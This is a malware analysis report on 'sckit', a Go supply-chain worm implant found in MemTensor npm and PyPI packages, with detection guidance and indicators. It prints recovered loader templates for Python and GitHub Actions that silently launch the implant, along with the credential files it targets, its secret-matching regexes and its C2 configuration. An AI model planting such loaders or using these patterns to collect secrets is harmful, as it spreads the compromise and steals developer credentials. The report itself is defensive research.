sckit: A New Go Implant Framework for Supply Chain Worms

sckit, also known as the “supplychain.local worm”, is a Go implant framework that we found in two MemTensor packages on September 23, 2026. It runs on Linux, macOS, and Windows. It collects credentials from developer machines and from CI jobs. It receives signed tasks from a command and control (C2) server. It also contains templates to install itself in npm packages, Python packages, and GitHub Actions workflows. The code and infrastructure do not match a known malware family. The operator built a separate binary for each target, and registered the C2 domain eight days before the attack. We think that the operator will use this framework again.

We first saw sckit in the MemTensor npm and PyPI compromise. That post explains how the attacker stole the publish tokens and shipped the implant. This post covers the implant: the framework layout, the capabilities we can see, the limits of our analysis, and indicators that you can use to find sckit in other places.

Method

We used these sources:

• The loader code in @memtensor/[email protected] (npm) and [email protected] (PyPI).
• The decoded campaign configuration that each loader gives to the implant.
• The Go build information in the binary (.go.buildinfo).
• The Go function table (.gopclntab). The binaries have no Executable and Linkable Format (ELF) symbol table, but Go keeps function names in this table for stack traces. We parsed the table with a short Python script. It gave 7,259 functions for the npm build and 7,303 for the PyPI build. Some implant function names have no separate function entry, because the compiler copied their code into the functions that call them. We list those names too, and we checked each name in this post against the binary.
• Strings in the binary.

Function names show intent, and the code can behave differently. So each capability in this post has one of three labels:

• Confirmed means that we read the code that does it (loader or CI script).
• Indicated means that function names and strings in the implant show it.
• Unknown means that we have no evidence.

Evidence for a new framework

These facts come from the artifacts:

• The Go module path is supplychain.local/campaign. It is not a public module, and GitHub code search finds no copy of it. The .local suffix identifies local network names and does not resolve through public DNS. So supplychain.local is a project name that the author chose, and the operator does not control a domain with this name.
• The implant uses its own schema identifiers, such as sckit.control.v1 and sckit.admission.v1. Search finds these nowhere else.
• We found no code or infrastructure in common with the Shai-Hulud worms or other publicly reported npm worms.
• The registration date for the C2 parent domain skyleen[.]fr is September 15, 2026. An unrelated developer used this name in the past. We think that the operator registered the domain again after it expired.

This is our inference. The framework has many parts, a versioned protocol, and a configuration for each campaign. A single-use tool does not need these parts. The researcher who reported the npm compromise suggested that a language model wrote the tooling. The code style agrees with that idea, but we cannot prove it.

Build information

The build information is the same for all binaries except for the target OS and CPU:

1
# go.buildinfo, linux-amd64/sckit (npm 0.1.25)
2
go1.27.1
3
path  supplychain.local/campaign/cmd/implant
4
mod  supplychain.local/campaign  (devel)
5
dep  golang.org/x/crypto  v0.55.0  h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=
6
dep  golang.org/x/sys  v0.47.0  h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
7
build  -buildmode=exe
8
build  -compiler=gc
9
build  -trimpath=true
10
build  CGO_ENABLED=0
11
build  GOARCH=amd64
12
build  GOOS=linux

The build uses -trimpath and no cgo. This removes local file paths and gives one static binary with no external library dependencies. Each package has six builds, for linux, darwin, and windows on amd64 and arm64. Each binary is between 6.8 MB and 7.7 MB.

Framework layout

The internal/wire package uses Concise Binary Object Representation (CBOR) for C2 messages. The function table shows five packages under the module:

The implant has two command-line modes. The usage string names the first one:

1
# strings, linux-amd64/sckit (npm 0.1.25 and PyPI 2.0.34)
2
usage: sckit stage0 <-config path|-config64 value>
3
campaign runtime requires semi-nuclear

• stage0 is the mode that runs on developer machines. Both loaders start this mode.
• initial-ci-emit is the mode that runs in CI. Only the PyPI build has this string. The PyPI CI script downloads the implant and starts it in this mode. The MemOS post shows that script.

The second string shows that the runtime refuses to start unless the configuration profile is semi-nuclear. Both MemTensor configurations use this profile.

Differences between the two builds

The npm build and the PyPI build have 121 and 143 functions in the supplychain.local/campaign module. The PyPI build adds the internal/ciemit package:

1
// Recovered function names, internal/ciemit (PyPI 2.0.34 build only).
2
// These are names from .gopclntab, not source code.
3
ciemit.Prepare
4
ciemit.BestEffortCommand
5
ciemit.command
6
ciemit.commandWithAuthority
7
ciemit.bestEffort
8
ciemit.readSigned
9
ciemit.strictJSON
10
ciemit.checkJSONValue
11
ciemit.executableDigest
12
ciemit.boundedRead
13
ciemit.digest
14
ciemit.validString

The PyPI build also has five schema identifiers and one output marker for this CI mode. The npm build has none of them:

1
# strings, linux-amd64/sckit (PyPI 2.0.34 only)
2
sckit.initial-ci.v2
3
sckit.initial-ci-execution-context.v2
4
sckit.initial-ci-module-result.v2
5
sckit.initial-ci-producer-trust.v2
6
sckit.initial-ci-source-permit.v2
7
SCKIT_CI_RESULT_V2

The npm campaign did not need the CI mode in the implant, because the npm bridge script sent the token through stage0. We think that the operator selects the parts of the framework for each target and builds a new binary.

Campaign configuration

Each loader gives the implant one base64 JSON argument. The configuration uses the schema sckit.runtime.v1. This is the decoded configuration from the PyPI package. We removed the empty fields and kept one of the three C2 servers:

1
{
2
  "schema": "sckit.runtime.v1",
3
  "campaign_id": "memos-semi-nuclear",
4
  "product": "memos",
5
  "version": "2.0.34",
6
  "channel": "MemoryOS/v*-release",
7
  "profile": "semi-nuclear",
8
  "root_public": "gZIXrn82xCVrNmG1fwKVB53ospCTIIwBiPOrSyG+DvE",
9
  "stage0_digest": "pmBMOn4CHXalbt5yVGs7FTKmcMonkpAFTJFtefwPNWk",
10
  "state_dir": "$HOME/.memos/.cache/runtime",
11
  "inventory_roots": ["$HOME"],
12
  "fronts": [
13
    {
14
      "base_url": "https://c747d139e7e9.skyleen.fr",
15
      "control_path": "/24ffe6fe9644e7fc6ec8abd3/config",
16
      "preflight_path": "/24ffe6fe9644e7fc6ec8abd3/status",
17
      "result_path": "/24ffe6fe9644e7fc6ec8abd3/batch"
18
    }
19
  ],
20
  "not_after": 1792724380
21
}

The fields tell us how the operator uses one binary for many targets:

Capabilities

Execution on the host (confirmed)

The loaders start the implant as a separate process, with no output, and with the full process environment. The Node.js loader does this when the OpenClaw gateway starts and on each memory recall. The Python loader does this the first time that the library configures logging. The OpenClaw loader also gives the user’s prompt text to the implant in the environment variable SCKIT_EVENT_TEXT. The implant has a matching function, (*Runtime).eventText. So the implant can read the text that users send to their AI agent.

Credential collection (indicated)

The agent package has these functions:

1
// Recovered function names, internal/agent (both builds)
2
agent.credentials
3
agent.credentialPaths
4
agent.credentialFile
5
agent.readCredentialFile
6
agent.credentialsFromFile
7
agent.extractJSONCredentials
8
agent.environmentNames
9
agent.hasCredential
10
agent.artifacts
11
agent.artifactMatch
12
agent.supportedArtifactCategory

The binary contains the names of common credential files: .npmrc, .pypirc, .git-credentials, .netrc, id_rsa, id_ecdsa, id_ed25519, .vault-token, msal_token_cache, access_tokens.json, and access_tokens.db. The last three are token caches of the Azure and Google Cloud command-line tools. The binary also contains the strings credential-collector and artifact-collector, which look like names of collection modules.

The binary has two regular expressions. The first finds names of variables that hold secrets:

1
# strings, linux-amd64/sckit (npm 0.1.25)
2
(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))

The second finds known token formats in text. It matches JSON Web Tokens and tokens for AWS, GitHub, GitLab, npm, PyPI, Hugging Face, HashiCorp Vault, Slack, Stripe, and SendGrid:

1
# strings, linux-amd64/sckit (npm 0.1.25)
2
(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])

Publish tokens for npm and PyPI are in the list. These are the credentials that the worm needs to spread.

CI token capture (confirmed)

In CI, a bridge script runs before the real publish step and gives the publish token to the implant. Then it stops the publish. The PyPI build has the ciemit package and the initial-ci-emit mode for this work. The MemOS post shows both bridge scripts and explains how they use BASH_ENV.

Spreading to other projects (indicated)

The agent package has functions to find repositories, prepare them, and publish:

1
// Recovered function names, internal/agent (both builds)
2
agent.findRepositories
3
agent.PrepareRemoteRepository
4
agent.PrepareRemoteRepositoryTarget
5
agent.prepareRemoteNode
6
agent.prepareRemotePython
7
agent.prepareRemoteWorkflow
8
agent.pythonImportPackage
9
agent.remoteSidecars
10
agent.remoteHashes
11
agent.copyRemoteFile
12
agent.writeRemoteFile
13
agent.runGit
14
agent.runGitWithIdentity
15
agent.recursivePublish

The binary contains three loader templates. They match these functions. The Python template runs the implant from an imported package:

1
# template string in linux-amd64/sckit (npm 0.1.25)
2
try:
3
    import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
4
    _a = {"x86_64":"amd64","aarch64":"arm64","AMD64":"amd64","ARM64":"arm64"}.get(_pl.machine(), _pl.machine())
5
    _b = _p.Path(__file__).resolve().parent / %q / (f"{_pl.system().lower()}-{_a}") / ("sckit.exe" if _o.name == "nt" else "sckit")
6
    if _b.exists(): _sp.Popen([str(_b),"stage0","--config64",%q], stdin=_sp.DEVNULL,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL,start_new_session=True)
7
except Exception:
8
    pass

The Node.js template runs the implant from a bin/ directory:

1
// template string in linux-amd64/sckit (npm 0.1.25)
2
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");

The GitHub Actions template runs the implant on each push:

1
# template string in linux-amd64/sckit (npm 0.1.25)
2
name: %s
3
on: [push]
4
jobs:
5
  update:
6
    runs-on: ubuntu-latest
7
    steps:
8
      - uses: actions/checkout@v6
9
      - run: ./%s/linux-amd64/sckit stage0 --config64 %q

The file name runtime-update.yml is also in the binary. We think that it is the name of this workflow file. Other strings agree with the publish functions: GIT_AUTHOR_NAME=%s, --ignore-scripts, twine, poetry, and .sckit-copy-*.

The implant fills in the %q values at run time. So a new victim gets a new configuration, with a new campaign identifier and possibly new C2 servers. We do not know if the implant spreads by itself or only on a command from the operator. The signed leases in the C2 protocol suggest that the operator controls it.

Host profiling and victim filtering (indicated)

1
// Recovered function names, internal/agent (both builds)
2
agent.HostID
3
agent.hostProfile
4
agent.hostProfileIP
5
agent.hostProfileInterfaces
6
agent.hostProfileLanguages
7
agent.hostProfileTimezone
8
agent.hostProfileText
9
agent.hostPrivilegeHints
10
(*Runtime).languageTags
11
(*Runtime).inputMethodTags

The implant collects the host name, IP addresses, network interfaces, time zone, languages, and keyboard input methods. It also checks for administrator rights. The strings root-username, administrator-username, and windows-system-sid are in the binary. The environment variable SCKIT_INPUT_METHODS is also in the binary.

Three fields are for victim filtering:

1
# strings, linux-amd64/sckit (both builds)
2
geo_iso
3
deny_iso
4
ja4_deny

We think that geo_iso and deny_iso let the operator allow or block countries. JA4 is a method to identify Transport Layer Security (TLS) clients. ja4_deny probably lets the server reject known analysis tools or sandboxes. Language, time zone, and input method data can also help the operator skip some regions.

C2 protocol (indicated)

The wire package has the message types and the encryption:

1
// Recovered function names, internal/wire (both builds)
2
wire.Marshal
3
wire.Unmarshal
4
wire.GenerateX25519
5
wire.makeAEAD
6
wire.SealBound
7
wire.OpenBound
8
wire.Signed.Verify
9
wire.VerifyBinding
10
wire.VerifyHandshakeBinding
11
wire.(*Request).Sign
12
wire.Admission.Bytes
13
wire.ParseLease
14
wire.ParseManifest
15
wire.ParseAck
16
wire.ParseResponse
17
wire.ResultBytes

Protocol strings from the binary:

1
# strings, linux-amd64/sckit (both builds)
2
sckit.control.v1
3
sckit.admission.v1
4
sckit.module-result.v1
5
sckit.tombstone.v1
6
sckit/xchacha/v1
7
application/cbor
8
Idempotency-Key
9
lease_signing_pub
10
lease_signature
11
result_x25519_pub
12
max_activations
13
max_offline_until
14
host_bucket_range
15
one_shot
16
controller disposition
17
non-monotonic manifest
18
module digest mismatch

This is our reading of the protocol. The implant sends an admission request with its host profile. If the server accepts the host, it sends a signed lease. The lease limits how many times and for how long the implant can work (max_activations, max_offline_until). The server then sends a manifest of modules. The implant checks the digest of each module and rejects old manifests. It sends the results back, encrypted with a key from an X25519 key exchange and XChaCha20-Poly1305.

The implant checks server signatures. A researcher who runs a fake server cannot send it tasks without the operator’s signing key.

Remote modules (unknown)

The functions ParseModule, Execute, oneShotModule, and pendingModule show that the server sends modules to the implant. We do not know what these modules do. The C2 subdomains now resolve to 127.0.0.1, and we have no record of their traffic. So the full capability set of sckit is not in the binary, and it can change from one campaign to the next.

State and cleanup (indicated)

1
// Recovered function names, internal/agent (both builds)
2
(*StateStore).LoadOrCreate
3
(*StateStore).Write
4
(*StateStore).Cleanup
5
(*StateStore).Tombstone
6
agent.scheduleSelfDelete
7
agent.deleteExecutable

The implant keeps state in the state_dir from its configuration. It has functions to remove its state and its own binary. The sckit.tombstone.v1 schema suggests that it writes a marker to tell other copies not to run again on the same host.

What we do not know

• What the server modules do.
• Whether spreading is automatic or needs approval from the operator.
• Whether there are victims other than MemTensor. GitHub code search finds no other copy of the loaders or templates. But code search only indexes default branches, and this operator used tags and short-lived branches.
• How the implant uses root_public and stage0_digest. Our explanations in the configuration table are inferences.
• The purpose of internal/presentation.Resolve.

Detection

On developer machines:

• A process with the command line sckit stage0 --config64 <base64>.
• A process environment that contains SCKIT_EVENT_TEXT.
• A .sckit/ directory with <os>-<arch>/sckit binaries inside node_modules or site-packages.
• The directories $HOME/.openclaw/.cache/runtime or $HOME/.memos/.cache/runtime. Other campaigns will probably use other directories under .cache/runtime.

In CI:

• A step that writes BASH_ENV= to $GITHUB_ENV.
• A build backend loaded from the repository (backend-path = ["."]) that you did not add.
• Log lines that contain SCKit credential receipt, SCKIT_CI_RESULT_V2, or SCKIT_CI_OBSERVATION_V2.
• A publish step that fails with no clear cause, followed by a package version that you did not publish.

In repositories:

• A workflow file named runtime-update.yml that runs sckit stage0.
• Files named lib/sckit.js, _stage0.py, _pypi_bridge.sh, sckit-publish-bridge.sh, or sckit_poetry_build.py.

In binaries:

• The Go module path supplychain.local/campaign in the build information.
• The schema identifiers in the indicators of compromise table below. They are unique to this framework.

Indicators of compromise

Implant binaries

Framework strings

Infrastructure

References

• MemTensor npm and PyPI packages hit by a Go worm, the first report of sckit
• MemOS-Cloud-OpenClaw-Plugin issue #173
• MemTensor/MemOS commit b52958f, the PyPI implant and CI capture script
• MemTensor/MemOS-Cloud-OpenClaw-Plugin commit 9b97ec6, the npm implant and CI bridge script
• JA4+ network fingerprinting